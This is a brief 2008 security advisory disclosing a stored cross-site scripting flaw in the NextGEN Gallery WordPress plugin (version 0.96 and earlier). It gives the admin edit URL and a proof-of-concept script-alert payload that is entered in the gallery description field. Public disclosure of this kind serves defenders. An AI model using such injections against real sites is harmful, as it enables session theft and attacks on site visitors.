nextgen-xss.txt

`==============================  
  
XSS - Nextgen gallery 0.96 wordpress plugin  
  
==============================  
  
Author: Eduardo Neves a.k.a _eth0_  
Date: 07 june 2008  
Site: webappsecurity.wordpress.com  
  
—————————————  
  
APPLICATION : Nextgen gallery  
VERSION : <= 0.96  
VENDOR : http://wordpress.org/extend/plugins/nextgen-gallery/  
DOWNLOAD : http://wordpress.org/extend/plugins/nextgen-gallery/  
  
—————————————  
  
IMPACT: XSS, XSRF, etc .  
  
—————————————  
  
Descrition:  
  
This vulnerability can be explored writing in the descritption textbox  
a mailicous (or not) code  
  
link: http://[host]/[directory]/wp-admin/admin.php?page=nggallery-manage-gallery&mode=edit&gid=[galleryID]&_wpnonce=0b3c0996ed  
  
In the description textbox write the text:  
  
<script>alert('xss');</script>  
  
And when the gallery was posted, user click in photo and the script  
was executed!  
  
--   
|_|0|_| Serrano Neves - a.k.a eth0  
|_|_|0| http://webappsecurity.wordpress.com  
|0|0|0| "Talk is cheap. Show me the code." - Linus Torvalds  
`